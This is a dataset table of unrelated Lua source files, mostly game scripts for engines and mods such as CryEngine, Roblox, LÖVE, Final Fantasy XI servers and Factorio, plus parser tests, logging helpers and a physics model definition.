content
stringlengths 5
1.05M
|
|---|
BTBBombSite = {
Client = {},
Server = {},
Properties = {
fileModel = "objects/library/props/ctf/mpnots_flagbase01.cgf",
ModelSubObject = "main",
Radius = 2;
teamName = "";
Explosion = {
Effect = "explosions.rocket.soil",
EffectScale = 0.2,
Radius = 2,
Pressure = 250,
Damage = 500,
Decal = "textures/decal/explo_decal.dds",
DecalScale = 1,
Direction = {x=0, y=0.0, z=-1},
},
},
Editor = {
Icon = "Item.bmp",
IconOnTop = 1,
},
}
function BTBBombSite.Server:OnInit()
Log("BTBBombSite.Server.OnInit");
if (not self.bInitialized) then
self:OnReset();
self.bInitialized = 1;
end;
self.inside = {};
end;
function BTBBombSite.Client:OnInit()
Log("BTBBombSite.Client.OnInit");
if (not self.bInitialized) then
self:OnReset();
self.bInitialized = 1;
end;
self.inside = {};
end;
function BTBBombSite:OnReset()
Log("BTBBombSite.OnReset");
self:LoadObject(0, self.Properties.fileModel);
local radius_2 = self.Properties.Radius / 2;
local Min={x=-radius_2,y=-radius_2,z=-radius_2};
local Max={x=radius_2,y=radius_2,z=radius_2};
self:SetTriggerBBox(Min,Max);
self:Physicalize(0, PE_STATIC, { mass=0 });
self:SetFlags(ENTITY_FLAG_ON_RADAR, 0);
if (CryAction.IsServer() and (self.Properties.teamName ~= "")) then
local teamId = g_gameRules.game:GetTeamId(self.Properties.teamName);
if (teamId > 0) then
g_gameRules.game:SetTeam(teamId, self.id);
end
end
end;
----------------------------------------------------------------------------------------------------
function BTBBombSite.Server:OnEnterArea(entity, areaId)
Log("BTBBombSite.Server.OnEnterArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName);
local inserted = false;
for i,id in ipairs(self.inside) do
if (id==entity.id) then
inserted=true;
Log("Entity already inserted");
break;
end
end
if (not inserted) then
table.insert(self.inside, entity.id);
Log("Entity added");
end
if (g_gameRules.Server.EntityEnterBombSiteArea ~= nil) then
g_gameRules.Server.EntityEnterBombSiteArea(g_gameRules, entity, self);
end
end
----------------------------------------------------------------------------------------------------
function BTBBombSite.Client:OnEnterArea(entity, areaId)
Log("BTBBombSite.Client.OnEnterArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName);
if (g_gameRules.Client.EntityEnterBombSiteArea ~= nil) then
g_gameRules.Client.EntityEnterBombSiteArea(g_gameRules, entity, self);
end
end
function BTBBombSite.Client:OnLeaveArea(entity, areaId)
Log("BTBBombSite.Client.OnLeaveArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName);
if (g_gameRules.Client.EntityLeaveBombSiteArea ~= nil) then
g_gameRules.Client.EntityLeaveBombSiteArea(g_gameRules, entity, self);
end
end
----------------------------------------------------------------------------------------------------
function BTBBombSite.Server:OnLeaveArea(entity, areaId)
Log("BTBBombSite.Server.OnLeaveArea entity:%s, this areas team:%s", EntityName(entity.id), self.Properties.teamName);
for i,id in ipairs(self.inside) do
if (id==entity.id) then
table.remove(self.inside, i);
Log("Entity removed");
break;
end
end
if (g_gameRules.Server.EntityLeftBombSiteArea ~= nil) then
g_gameRules.Server.EntityLeftBombSiteArea(g_gameRules, entity, self);
end
end
function BTBBombSite:EntityInsideArea(entityId)
for i,id in ipairs(self.inside) do
if (id==entityId) then
return true;
end
end
return false;
end
function BTBBombSite:Explode()
local explosion=self.Properties.Explosion;
local radius=explosion.Radius;
g_gameRules:CreateExplosion(self.id,self.id,explosion.Damage,self:GetWorldPos(),explosion.Direction,radius,nil,explosion.Pressure,explosion.HoleSize,explosion.Effect,explosion.EffectScale);
end
|
local theme = require(script.Parent.Parent.Parent.Themes.Current)
local util = require(script.Parent.Parent.Parent.Scripts.Utils)
local data = require(script.Parent.Parent.Parent.Scripts.UpdateData)
local uis = game:GetService("UserInputService")
local ts = game:GetService("TweenService")
export type DotSliderParams = {
Name: string,
Min: number,
Max: number,
Round: number,
Default: number,
Setting: string,
EventToFire: RemoteEvent?,
Suffix: string?,
}
script.Frame.Reset.BackgroundColor3 = theme.Base
script.Frame.Reset.TextColor3 = theme.BaseText
script.Frame.Namer.TextColor3 = theme.BaseText
script.Frame.Value.TextColor3 = theme.BaseText
script.Frame.Slider.Frame.BackgroundColor3 = theme.BaseDarker
script.Frame.Slider.Frame.Frame.BackgroundColor3 = theme.Base
script.Frame.Slider.Frame.Frame.Frame.BackgroundColor3 = theme.Base
return function(params: DotSliderParams)
local copy = script.Frame:Clone()
params.Round = params.Round or 0
params.Suffix = params.Suffix or ""
copy.Namer.Text = params.Name
copy.Slider.Hitbox.InputBegan:Connect(function(Input: InputObject)
if Input.UserInputType ~= Enum.UserInputType.MouseButton1 then
return
end
local dragging = true
local stopDrag
stopDrag = Input:GetPropertyChangedSignal("UserInputState"):Connect(function()
if Input.UserInputState == Enum.UserInputState.End then
dragging = false
stopDrag:Disconnect()
end
end)
while dragging do
local relativePositionX = uis:GetMouseLocation().X - copy.Slider.Frame.AbsolutePosition.X
local scaleX = math.clamp(relativePositionX / copy.Slider.Frame.AbsoluteSize.X, 0, 1)
local value = scaleX * (params.Max - params.Min) + params.Min
if params.EventToFire then
params.EventToFire:FireServer(value)
else
data:set(params.Setting, value)
end
task.wait()
end
Input:Destroy()
end)
local function update(newval)
local newval = newval or data:get(params.Setting)
if typeof(newval) == "table" and newval.Value then
newval = newval.Value
end
local val = util:Map(newval, params.Min, params.Max, 0, 1)
ts:Create(copy.Slider.Frame.Frame, TweenInfo.new(0.05), { Size = UDim2.fromScale(val, 1) }):Play()
copy.Value.Text = util:Round(newval, params.Round) .. params.Suffix
end
data:onChange(params.Setting, update)
update()
copy.Reset.MouseButton1Click:Connect(function()
if params.EventToFire then
params.EventToFire:FireServer(params.Default)
else
data:set(params.Setting, params.Default)
end
end)
return copy
end
|
laserdetector = class:new()
function laserdetector:init(x, y, dir)
self.cox = x
self.coy = y
self.dir = dir
self.drawable = false
self.outtable = {}
self.allowclear = true
self.out = "off"
end
function laserdetector:update(dt)
self.allowclear = true
if self.out ~= self.prevout then
self.prevout = self.out
for i = 1, #self.outtable do
if self.outtable[i].input then
self.outtable[i]:input(self.out)
end
end
end
end
function laserdetector:input(t)
self.allowclear = false
if t == "on" then
self.out = "on"
end
end
function laserdetector:draw()
local rot = 0
if self.dir == "down" then
rot = math.pi/2
elseif self.dir == "left" then
rot = math.pi
elseif self.dir == "up" then
rot = math.pi*1.5
end
love.graphics.draw(laserdetectorimg, math.floor((self.cox-xscroll-0.5)*16*scale), (self.coy-1)*16*scale, rot, scale, scale, 8, 8)
end
function laserdetector:addoutput(a)
table.insert(self.outtable, a)
end
function laserdetector:clear()
if self.allowclear then
self.allowclear = false
self.out = "off"
end
end
|
require 'torch'
require 'optim'
n_feature = 3
classes = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
print'ConfusionMatrix:__init() test'
cm = optim.ConfusionMatrix(#classes, classes)
target = 3
prediction = torch.randn(#classes)
print'ConfusionMatrix:add() test'
cm:add(prediction, target)
batch_size = 8
targets = torch.randperm(batch_size)
predictions = torch.randn(batch_size, #classes)
print'ConfusionMatrix:batchAdd() test'
cm:batchAdd(predictions, targets)
assert(cm.mat:sum() == batch_size + 1, 'missing examples')
print'ConfusionMatrix:updateValids() test'
cm:updateValids()
print'ConfusionMatrix:__tostring__() test'
print(cm)
target = 0
cm:add(prediction, target)
assert(cm.mat:sum() == batch_size + 1, 'too many examples')
|
--------------------
-- Sassilization
-- By Sassafrass / Spacetech / LuaPineapple
--------------------
ENT.Type = "anim"
ENT.Base = "building_base"
if CLIENT then
function PlayGateAnim(len)
local ent = net.ReadEntity()
local string = net.ReadString()
if string && ent:IsValid() then
local Sequence = ent:LookupSequence(string)
ent.Model:ResetSequence( Sequence )
end
end
net.Receive("PlayGateAnim", PlayGateAnim)
function SendConnectedPieces(len)
ent = net.ReadEntity()
ent.Connected = net.ReadTable()
end
net.Receive("SendConnectedPieces", SendConnectedPieces)
ENT.Foundation = false
end
|
#!/usr/bin/env lua
-- fetches all available jet nodes,states and methods and prints
-- the basic notification info
local exp = arg[1] or {}
local ip = arg[2]
local port = arg[3]
local cjson = require'cjson'
local peer = require'jet.peer'.new{ip=ip,port=port}
local is_json,exp_json = pcall(cjson.decode,exp)
if is_json then
exp = exp_json
end
peer:fetch(exp,function(path,event,data)
print(path,event,cjson.encode(data))
end)
peer:loop()
|
-----------------------------------------
-- ID: 4396
-- Item: sausage_roll
-- Food Effect: 30Min, All Races
-----------------------------------------
-- Health % 6 (cap 160)
-- Vitality 3
-- Intelligence -1
-- Attack % 27
-- Attack Cap 30
-- Ranged ATT % 27
-- Ranged ATT Cap 30
-----------------------------------------
require("scripts/globals/status")
require("scripts/globals/msg")
-----------------------------------------
function onItemCheck(target)
local result = 0
if target:hasStatusEffect(tpz.effect.FOOD) or target:hasStatusEffect(tpz.effect.FIELD_SUPPORT_FOOD) then
result = tpz.msg.basic.IS_FULL
end
return result
end
function onItemUse(target)
target:addStatusEffect(tpz.effect.FOOD,0,0,1800,4396)
end
function onEffectGain(target, effect)
target:addMod(tpz.mod.FOOD_HPP, 6)
target:addMod(tpz.mod.FOOD_HP_CAP, 160)
target:addMod(tpz.mod.VIT, 3)
target:addMod(tpz.mod.INT, -1)
target:addMod(tpz.mod.FOOD_ATTP, 27)
target:addMod(tpz.mod.FOOD_ATT_CAP, 30)
target:addMod(tpz.mod.FOOD_RATTP, 27)
target:addMod(tpz.mod.FOOD_RATT_CAP, 30)
end
function onEffectLose(target, effect)
target:delMod(tpz.mod.FOOD_HPP, 6)
target:delMod(tpz.mod.FOOD_HP_CAP, 160)
target:delMod(tpz.mod.VIT, 3)
target:delMod(tpz.mod.INT, -1)
target:delMod(tpz.mod.FOOD_ATTP, 27)
target:delMod(tpz.mod.FOOD_ATT_CAP, 30)
target:delMod(tpz.mod.FOOD_RATTP, 27)
target:delMod(tpz.mod.FOOD_RATT_CAP, 30)
end
|
local drawing = require 'utils.drawing'
local addircstr = require 'utils.irc_formatting'
local M = {
title = 'status',
draw_status = function() end,
}
local keys = {
[-ncurses.KEY_PPAGE] = function()
local elts = math.min(status_messages.n, status_messages.max)
scroll = scroll + math.max(1, tty_height - 3)
scroll = math.min(scroll, elts - tty_height + 3)
scroll = math.max(scroll, 0)
end,
[-ncurses.KEY_NPAGE] = function()
scroll = scroll - math.max(1, tty_height - 3)
scroll = math.max(scroll, 0)
end,
}
function M:keypress(key)
local h = keys[key]
if h then
h()
draw()
end
end
local function safematch(str, pat)
local success, result = pcall(string.match, str, pat)
return not success or result
end
local function show_entry(entry)
local current_filter
if input_mode == 'filter' then
current_filter = editor.rendered
else
current_filter = filter
end
return safematch(entry.text, current_filter)
end
function M:render()
magenta()
bold()
addstr('time category message')
bold_()
local rows = math.max(0, tty_height - 2)
drawing.draw_rotation(1, rows, status_messages, show_entry, function(entry)
blue()
addstr(string.format(' %-10.10s ', entry.category or '-'))
normal()
addircstr(entry.text)
end)
draw_global_load('cliconn', conn_tracker)
end
return M
|
function onUpdate(elapsed)
if dadName == 'bandu' then --replace the name for your character name
for i=0,4,1 do
setPropertyFromGroup('opponentStrums', i, 'texture', 'NOTE_assets_3D')
end
for i = 0, getProperty('unspawnNotes.length')-1 do
if not getPropertyFromGroup('unspawnNotes', i, 'mustPress') then
setPropertyFromGroup('unspawnNotes', i, 'texture', 'NOTE_assets_3D'); --Change texture
end
end
end
end
function onStepHit()
if curStep == 2544 then
setProperty('health', 2)
end
end
|
local tl = require("tl")
local function trim_code(c)
return c:gsub("^%s*", ""):gsub("\n%s*", "\n"):gsub("%s*$", "")
end
describe("not", function()
it("ok with any type", function()
local tokens = tl.lex([[
local x = 1
local y = 2
local z = true
if not x then
z = false
end
]])
local _, ast = tl.parse_program(tokens)
local errors = tl.type_check(ast)
assert.same({}, errors)
end)
it("ok with not not", function()
local tokens = tl.lex([[
local x = true
local z: boolean = not not x
]])
local _, ast = tl.parse_program(tokens)
local errors = tl.type_check(ast)
assert.same({}, errors)
end)
it("not not casts to boolean", function()
local tokens = tl.lex([[
local i = 12
local z: boolean = not not 12
]])
local _, ast = tl.parse_program(tokens)
local errors = tl.type_check(ast)
assert.same({}, errors)
end)
it("handles precedence of sequential unaries correctly", function()
local code = [[
local y = not -a == not -b
local x = not not a == not not b
]]
local tokens = tl.lex(code)
local _, ast = tl.parse_program(tokens)
local output = tl.pretty_print_ast(ast, true)
assert.same(trim_code(code), trim_code(output))
end)
it("handles complex expression with not", function()
local code = [[
if t1.typevar == t2.typevar and
(not not typevars or
not not typevars[t1.typevar] == not typevars[t2.typevar]) then
return true
end
if t1.typevar == t2.typevar and
(not typevars or
not not typevars[t1.typevar] == not not typevars[t2.typevar]) then
return true
end
]]
local tokens = tl.lex(code)
local _, ast = tl.parse_program(tokens)
local output = tl.pretty_print_ast(ast, true)
assert.same(trim_code(code), trim_code(output))
end)
end)
|
return {
"000_base_hmac_auth",
"002_130_to_140",
}
|
-- Список наклеек
TuningConfig.stickers = {
-- Раздел "фигуры"
{
{id = 251, price = 10, level = 2},
{id = 252, price = 10, level = 2},
{id = 253, price = 10, level = 2},
{id = 254, price = 10, level = 2},
{id = 255, price = 10, level = 2},
{id = 256, price = 10, level = 2},
{id = 257, price = 20, level = 5},
{id = 258, price = 20, level = 5},
{id = 259, price = 20, level = 5},
{id = 260, price = 20, level = 5},
{id = 261, price = 20, level = 5},
{id = 262, price = 20, level = 5},
{id = 263, price = 30, level = 7},
{id = 264, price = 30, level = 7},
{id = 265, price = 30, level = 7},
{id = 266, price = 30, level = 7},
{id = 267, price = 30, level = 7},
{id = 268, price = 30, level = 7},
{id = 269, price = 35, level = 8},
{id = 270, price = 35, level = 8},
{id = 271, price = 35, level = 8},
{id = 272, price = 35, level = 8},
{id = 273, price = 35, level = 8},
{id = 274, price = 35, level = 8},
{id = 275, price = 40, level = 9},
{id = 276, price = 40, level = 9},
{id = 277, price = 40, level = 9},
{id = 278, price = 40, level = 9},
{id = 279, price = 40, level = 9},
{id = 280, price = 40, level = 9},
{id = 281, price = 45, level = 10},
{id = 282, price = 45, level = 10},
{id = 283, price = 45, level = 10},
{id = 284, price = 45, level = 10},
{id = 285, price = 45, level = 10},
{id = 286, price = 45, level = 10},
{id = 287, price = 50, level = 11},
{id = 288, price = 50, level = 11},
{id = 289, price = 50, level = 11},
{id = 290, price = 50, level = 11},
{id = 291, price = 50, level = 11}
},
-- Раздел "бренды"
{
{id = 1, price = 10, level = 3},
{id = 2, price = 10, level = 3},
{id = 3, price = 10, level = 3},
{id = 4, price = 10, level = 3},
{id = 5, price = 10, level = 3},
{id = 6, price = 10, level = 3},
{id = 7, price = 10, level = 3},
{id = 8, price = 10, level = 3},
{id = 9, price = 10, level = 3},
{id = 10, price = 10, level = 3},
{id = 11, price = 10, level = 3},
{id = 12, price = 10, level = 3},
{id = 13, price = 15, level = 4},
{id = 14, price = 15, level = 4},
{id = 15, price = 15, level = 4},
{id = 16, price = 15, level = 4},
{id = 17, price = 15, level = 4},
{id = 18, price = 15, level = 4},
{id = 19, price = 15, level = 4},
{id = 20, price = 15, level = 4},
{id = 21, price = 15, level = 4},
{id = 22, price = 15, level = 4},
{id = 23, price = 15, level = 4},
{id = 24, price = 15, level = 4},
{id = 25, price = 18, level = 5},
{id = 26, price = 18, level = 5},
{id = 27, price = 18, level = 5},
{id = 28, price = 18, level = 5},
{id = 29, price = 18, level = 5},
{id = 30, price = 18, level = 5},
{id = 31, price = 18, level = 5},
{id = 32, price = 18, level = 5},
{id = 33, price = 18, level = 5},
{id = 34, price = 18, level = 5},
{id = 35, price = 18, level = 5},
{id = 36, price = 18, level = 5},
{id = 37, price = 23, level = 6},
{id = 38, price = 23, level = 6},
{id = 39, price = 23, level = 6},
{id = 40, price = 23, level = 6},
{id = 41, price = 23, level = 6},
{id = 42, price = 23, level = 6},
{id = 43, price = 23, level = 6},
{id = 44, price = 23, level = 6},
{id = 45, price = 23, level = 6},
{id = 46, price = 23, level = 6},
{id = 47, price = 23, level = 6},
{id = 48, price = 23, level = 6},
{id = 49, price = 28, level = 7},
{id = 50, price = 28, level = 7},
{id = 51, price = 28, level = 7},
{id = 52, price = 28, level = 7},
{id = 53, price = 28, level = 7},
{id = 54, price = 28, level = 7},
{id = 55, price = 28, level = 7},
{id = 56, price = 28, level = 7},
{id = 57, price = 28, level = 7},
{id = 58, price = 28, level = 7},
{id = 59, price = 28, level = 7},
{id = 60, price = 28, level = 7},
{id = 61, price = 35, level = 9},
{id = 62, price = 35, level = 9},
{id = 63, price = 35, level = 9},
{id = 64, price = 35, level = 9},
{id = 65, price = 35, level = 9},
{id = 66, price = 35, level = 9},
{id = 67, price = 35, level = 10},
{id = 68, price = 35, level = 10},
{id = 69, price = 35, level = 10},
{id = 70, price = 35, level = 10},
{id = 71, price = 35, level = 10},
{id = 72, price = 35, level = 10},
{id = 73, price = 35, level = 10},
{id = 74, price = 35, level = 10},
{id = 75, price = 35, level = 10},
{id = 76, price = 35, level = 10},
{id = 77, price = 35, level = 10},
{id = 78, price = 35, level = 10},
{id = 79, price = 42, level = 11},
{id = 80, price = 42, level = 11},
{id = 81, price = 42, level = 11},
{id = 82, price = 42, level = 11},
{id = 83, price = 42, level = 11},
{id = 84, price = 42, level = 11},
{id = 85, price = 42, level = 11},
{id = 86, price = 42, level = 11},
{id = 87, price = 42, level = 11},
{id = 88, price = 42, level = 11},
{id = 89, price = 42, level = 11},
{id = 90, price = 42, level = 11},
{id = 91, price = 42, level = 11},
{id = 92, price = 42, level = 11},
{id = 93, price = 42, level = 11},
{id = 94, price = 42, level = 11},
{id = 95, price = 42, level = 11},
{id = 96, price = 42, level = 11},
{id = 97, price = 47, level = 12},
{id = 98, price = 47, level = 12},
{id = 99, price = 47, level = 12},
{id = 100, price = 47, level = 12},
{id = 101, price = 47, level = 12},
{id = 102, price = 47, level = 12},
{id = 103, price = 47, level = 12},
{id = 104, price = 47, level = 12},
{id = 105, price = 47, level = 12},
{id = 106, price = 47, level = 12},
{id = 107, price = 47, level = 12},
{id = 108, price = 47, level = 12},
{id = 109, price = 55, level = 12},
{id = 110, price = 55, level = 12},
{id = 111, price = 55, level = 12},
{id = 112, price = 55, level = 12},
{id = 113, price = 55, level = 12},
{id = 114, price = 55, level = 12},
{id = 115, price = 55, level = 12},
{id = 116, price = 55, level = 12},
{id = 117, price = 55, level = 12},
{id = 118, price = 55, level = 12},
{id = 119, price = 55, level = 12},
{id = 120, price = 55, level = 12},
{id = 121, price = 55, level = 12},
{id = 122, price = 55, level = 12},
{id = 123, price = 55, level = 12},
{id = 124, price = 55, level = 12},
{id = 125, price = 55, level = 12},
{id = 126, price = 55, level = 12},
{id = 127, price = 60, level = 13},
{id = 128, price = 60, level = 13},
{id = 129, price = 60, level = 13},
{id = 130, price = 60, level = 13},
{id = 131, price = 60, level = 13},
{id = 132, price = 60, level = 13},
{id = 133, price = 60, level = 13},
{id = 134, price = 60, level = 13},
{id = 135, price = 60, level = 13},
{id = 136, price = 60, level = 13},
{id = 137, price = 60, level = 13},
{id = 138, price = 60, level = 13},
{id = 139, price = 60, level = 13},
{id = 140, price = 60, level = 13},
{id = 141, price = 60, level = 13},
{id = 142, price = 60, level = 13},
{id = 143, price = 60, level = 13},
{id = 144, price = 60, level = 13},
{id = 145, price = 70, level = 14},
{id = 146, price = 70, level = 14},
{id = 147, price = 70, level = 14},
{id = 148, price = 70, level = 14},
{id = 149, price = 70, level = 14},
{id = 150, price = 70, level = 14},
{id = 151, price = 70, level = 14},
{id = 152, price = 70, level = 14},
{id = 153, price = 70, level = 14},
{id = 154, price = 70, level = 14},
{id = 155, price = 70, level = 14},
{id = 156, price = 70, level = 14},
{id = 157, price = 80, level = 17}
},
-- Раздел "флаги"
{
{id = 292, price = 40, level = 6},
{id = 293, price = 40, level = 6},
{id = 294, price = 40, level = 6},
{id = 295, price = 40, level = 6},
{id = 296, price = 40, level = 6},
{id = 297, price = 40, level = 6},
{id = 298, price = 40, level = 6},
{id = 299, price = 40, level = 6},
{id = 300, price = 40, level = 6},
{id = 301, price = 40, level = 6},
{id = 302, price = 40, level = 6}
},
-- Раздел "буквы"
{
{id = 158, price = 10, level = 10},
{id = 159, price = 10, level = 10},
{id = 160, price = 10, level = 10},
{id = 161, price = 10, level = 10},
{id = 162, price = 10, level = 10},
{id = 163, price = 10, level = 10},
{id = 164, price = 10, level = 10},
{id = 165, price = 10, level = 10},
{id = 166, price = 10, level = 10},
{id = 167, price = 10, level = 10},
{id = 168, price = 10, level = 10},
{id = 169, price = 10, level = 10},
{id = 170, price = 10, level = 10},
{id = 171, price = 10, level = 10},
{id = 172, price = 10, level = 10},
{id = 173, price = 10, level = 10},
{id = 174, price = 10, level = 10},
{id = 175, price = 10, level = 10},
{id = 176, price = 10, level = 10},
{id = 177, price = 10, level = 10},
{id = 178, price = 10, level = 10},
{id = 179, price = 10, level = 10},
{id = 180, price = 10, level = 10},
{id = 181, price = 10, level = 10},
{id = 182, price = 10, level = 10},
{id = 183, price = 10, level = 10}
},
-- Раздел "цифры"
{
{id = 303, price = 5, level = 9},
{id = 304, price = 5, level = 9},
{id = 305, price = 5, level = 9},
{id = 306, price = 5, level = 9},
{id = 307, price = 5, level = 9},
{id = 308, price = 5, level = 9},
{id = 309, price = 5, level = 9},
{id = 310, price = 5, level = 9},
{id = 311, price = 5, level = 9},
{id = 312, price = 5, level = 9},
},
-- Раздел "другое"
{
{id = 228, price = 45, level = 1},
{id = 184, price = 25, level = 15},
{id = 185, price = 25, level = 15},
{id = 186, price = 25, level = 15},
{id = 187, price = 25, level = 15},
{id = 188, price = 25, level = 15},
{id = 189, price = 25, level = 15},
{id = 190, price = 25, level = 15},
{id = 191, price = 25, level = 15},
{id = 192, price = 25, level = 15},
{id = 193, price = 25, level = 15},
{id = 194, price = 25, level = 15},
{id = 195, price = 25, level = 15},
{id = 196, price = 35, level = 16},
{id = 197, price = 35, level = 16},
{id = 198, price = 35, level = 16},
{id = 199, price = 35, level = 16},
{id = 200, price = 35, level = 16},
{id = 201, price = 35, level = 16},
{id = 202, price = 35, level = 16},
{id = 203, price = 35, level = 16},
{id = 204, price = 35, level = 16},
{id = 205, price = 35, level = 16},
{id = 206, price = 35, level = 16},
{id = 207, price = 35, level = 16},
{id = 208, price = 40, level = 17},
{id = 209, price = 40, level = 17},
{id = 210, price = 40, level = 17},
{id = 211, price = 40, level = 17},
{id = 212, price = 40, level = 17},
{id = 213, price = 40, level = 17},
{id = 214, price = 40, level = 17},
{id = 215, price = 40, level = 17},
{id = 216, price = 40, level = 17},
{id = 217, price = 40, level = 17},
{id = 218, price = 40, level = 17},
{id = 219, price = 40, level = 17},
{id = 220, price = 45, level = 18},
{id = 221, price = 45, level = 18},
{id = 222, price = 45, level = 18},
{id = 223, price = 45, level = 18},
{id = 224, price = 45, level = 18},
{id = 225, price = 45, level = 18},
{id = 226, price = 45, level = 18},
{id = 227, price = 45, level = 18},
{id = 229, price = 45, level = 18},
{id = 230, price = 45, level = 18},
{id = 231, price = 45, level = 18},
{id = 232, price = 50, level = 19},
{id = 233, price = 50, level = 19},
{id = 234, price = 50, level = 19},
{id = 235, price = 50, level = 19},
{id = 236, price = 50, level = 19},
{id = 237, price = 50, level = 19},
{id = 238, price = 50, level = 19},
{id = 239, price = 50, level = 19},
{id = 240, price = 50, level = 19},
{id = 241, price = 50, level = 19},
{id = 242, price = 50, level = 19},
{id = 243, price = 50, level = 19},
{id = 244, price = 50, level = 19},
{id = 245, price = 50, level = 19},
{id = 246, price = 50, level = 19},
{id = 247, price = 50, level = 19},
{id = 248, price = 50, level = 19},
{id = 249, price = 50, level = 19},
{id = 250, price = 5, level = 20}
}
}
|
-----------------------------------
-- Area: The Shrine of Ru'Avitau
-- NPC: Yve'noile
-- Type: Quest Giver
-- !pos 0.001 -1 0.001 178
-----------------------------------
function onTrade(player,npc,trade)
end;
function onTrigger(player,npc)
player:startEvent(53);
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
end;
|
local prefixCol = RPGM.Config.LogPrefixCol
local messageCol = RPGM.Config.LogMessageCol
local warningCol = RPGM.Config.LogWarningCol
local errorCol = RPGM.Config.LogErrorCol
function RPGM.Log(msg, prefixColOverride)
MsgC(prefixColOverride or prefixCol, "[RPGM]: ", messageCol, msg .. "\n")
end
function RPGM.LogWarning(warningMsg)
MsgC(prefixCol, "[RPGM - WARNING]: ", warningCol, warningMsg .. "\n")
end
function RPGM.LogError(errorMsg)
MsgC(prefixCol, "[RPGM - ERROR]: ", errorCol, errorMsg .. "\n")
debug.Trace()
end
function RPGM.Assert(expression, errorMsg)
if not expression then RPGM.LogError(errorMsg) end
end
local type = type
function RPGM.CheckType(var, expectedType)
RPGM.Assert(type(var) == expectedType, "Expected type \"" .. expectedType .. "\" from var.")
end
|
return {
metadata = {
{scaling_used = {"Box15kg_3D"},
subject_age = {30.0},
subject_height = {1.70},
subject_weight = {80.00},
subject_gender = {"male"},
subject_pelvisWidth = {0.2400},
subject_hipCenterWidth = {0.1700},
subject_shoulderCenterWidth = {0.4000},
subject_heelAnkleXOffset = {0.0800},
subject_heelAnkleZOffset = {0.0900},
subject_shoulderNeckZOffset = {0.0700},
subject_footWidth = {0.0900},
},
},
gravity = { 0, 0, -9.81,},
configuration = {
axis_front = { 1, 0, 0,},
axis_right = { 0, -1, 0,},
axis_up = { 0, 0, 1,},
},
points = {
{name = "BoxAttach_L", body = "Box", point = {0.000000, 0.210000, 0.060000,},},
{name = "BoxAttach_R", body = "Box", point = {0.000000, -0.210000, 0.060000,},},
{name = "BoxBottom", body = "Box", point = {0.000000, 0.000000, -0.060000,},},
{name = "BoxBottomLeftBack", body = "Box", point = {-0.120000, 0.138000, -0.060000,},},
},
constraint_sets = {
},
frames = {
{name = "Box",
parent = "ROOT",
joint_frame = {
r = { 0.000000, 0.000000, 0.000000,},
E =
{{ 1.000000, 0.000000, 0.000000,},
{ 0.000000, 1.000000, 0.000000,},
{ 0.000000, 0.000000, 1.000000,},},
},
body = {
mass = 6.839995,
com = { -0.000000, -0.000000, 0.000000,},
inertia =
{{ 0.054506, -0.000000, 0.000000,},
{ -0.000000, 0.043833, -0.000000,},
{ 0.000000, -0.000000, 0.081923,},},
},
joint =
{{ 0.000000, 0.000000, 0.000000, 1.000000, 0.000000, 0.000000,},
{ 0.000000, 0.000000, 0.000000, 0.000000, 1.000000, 0.000000,},
{ 0.000000, 0.000000, 0.000000, 0.000000, 0.000000, 1.000000,},
{ 0.000000, 1.000000, 0.000000, 0.000000, 0.000000, 0.000000,},
{ 1.000000, 0.000000, 0.000000, 0.000000, 0.000000, 0.000000,},
{ 0.000000, 0.000000, 1.000000, 0.000000, 0.000000, 0.000000,},},
markers = {},
visuals = {{
src = "unit_cube.obj",
dimensions = { 0.250000, 0.285000, 0.120000,},
mesh_center = { 0.000000, 0.000000, 0.000000,},
color = { 0.250000, 0.250000, 0.250000,},
},},
},
},
}
|
-- NOTICE: This module is deprecated and has been replaced by the new `dictionary` module. This will remain in flib for
-- the foreseeable future for backwards compatibility, but is no longer documented or supported.
local flib_translation = {}
local table = require("__flib__.table")
local math = math
local next = next
local pairs = pairs
local type = type
function flib_translation.init()
if not global.__flib then
global.__flib = {}
end
global.__flib.translation = {
players = {},
translating_players_count = 0,
}
end
function flib_translation.iterate_batch(event_data)
local __translation = global.__flib.translation
if __translation.translating_players_count == 0 then
return
end
local translations_per_tick = settings.global["flib-translations-per-tick"].value
local iterations = math.ceil(translations_per_tick / __translation.translating_players_count)
if iterations < 1 then
iterations = 1
end
local current_tick = event_data.tick
for player_index, player_table in pairs(__translation.players) do
local player = game.get_player(player_index)
if player.connected then
local request_translation = player.request_translation
local i = 0
local sort_data = player_table.sort
local sort_strings = sort_data and sort_data.strings
local translate_data = player_table.translate
local translate_strings = translate_data.strings
while i < iterations do
if player_table.state == "sort" then
local string_index = sort_data.next_index
local string_data = sort_strings[string_index]
if string_data then
i = i + 1
local serialised = flib_translation.serialise_localised_string(string_data.localised)
local translation_data = translate_strings[serialised]
if translation_data then
local dictionary_names = translation_data.names[string_data.dictionary]
if dictionary_names then
dictionary_names[#dictionary_names + 1] = string_data.internal
else
translation_data.names[string_data.dictionary] = { string_data.internal }
end
else
translate_strings[serialised] = {
string = string_data.localised,
names = { [string_data.dictionary] = { string_data.internal } },
}
translate_strings.__size = translate_strings.__size + 1
end
sort_data.next_index = string_index + 1
sort_strings[string_index] = nil
else
player_table.state = "translate"
player_table.sort = nil
player_table.translate.next_key = next(player_table.translate.strings, "__size")
end
elseif player_table.state == "translate" then
local current_key = translate_data.next_key
local translation_data = translate_strings[current_key]
if translation_data then
i = i + 1
request_translation(translation_data.string)
translate_data.next_key = next(translate_strings, current_key)
else
player_table.state = "wait"
player_table.translate.current_key = nil
end
elseif player_table.state == "wait" then
local wait_tick = player_table.wait_tick
if wait_tick then
if wait_tick <= current_tick then
-- if this player is still being iterated at this point, there are some unreceived translations
-- see https://forums.factorio.com/84570
player_table.state = "translate"
player_table.translate.next_key = next(translate_strings, "__size")
end
else
player_table.wait_tick = current_tick + 20
end
break -- only needs to run once per player per tick
end
end
else
flib_translation.cancel(player_index)
end
end
end
function flib_translation.process_result(event_data)
local __translation = global.__flib.translation
if __translation.translating_players_count == 0 then
return
end
local player_table = __translation.players[event_data.player_index]
if not player_table then
return
end
if player_table.state == "sort" then
return
end
local serialised = flib_translation.serialise_localised_string(event_data.localised_string)
local translate_strings = player_table.translate.strings
local translation_data = translate_strings[serialised]
if translation_data then
local names = translation_data.names
translate_strings[serialised] = nil
translate_strings.__size = translate_strings.__size - 1
local finished = false
if translate_strings.__size == 0 then
flib_translation.cancel(event_data.player_index)
finished = true
end
return names, finished
end
return nil, false
end
